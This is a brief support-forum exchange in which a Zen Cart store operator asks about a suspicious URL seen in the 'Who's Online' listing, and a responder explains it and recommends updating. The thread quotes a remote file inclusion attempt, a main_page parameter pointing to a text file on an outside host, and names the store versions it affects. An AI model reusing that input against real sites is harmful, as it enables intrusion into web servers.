weird URL in Who's Online listing

Hi,

I was looking at the "Who's Online" page for my customer's store (trying to make a change and waiting for a customer to finish shopping) and I noticed a visitor online with the following URL showing as the page they were visiting:

/store/index.php?main_page=http://amy***ru.h18.ru/images/cs.txt

This looked very strange to me since everything after the "=" isn't anything that should be part of this store. Should I be concerned?

Thanks!

That's someone trying to exploit a common PHP vulnerability.

If you're not using Zen Cart v1.3.0, v1.3.0.1, or v1.3.0.2, then that attempt won't hurt you.
The perpetrator attempting to do it will be simply shown your shop's home page.

It's always wise to be sure you're using the latest version of Zen Cart to be sure that any known security issues have been fixed.

Thanks for responding so quickly, Dr. Byte,

I'm on 1.3.7 so I guess I'm ok.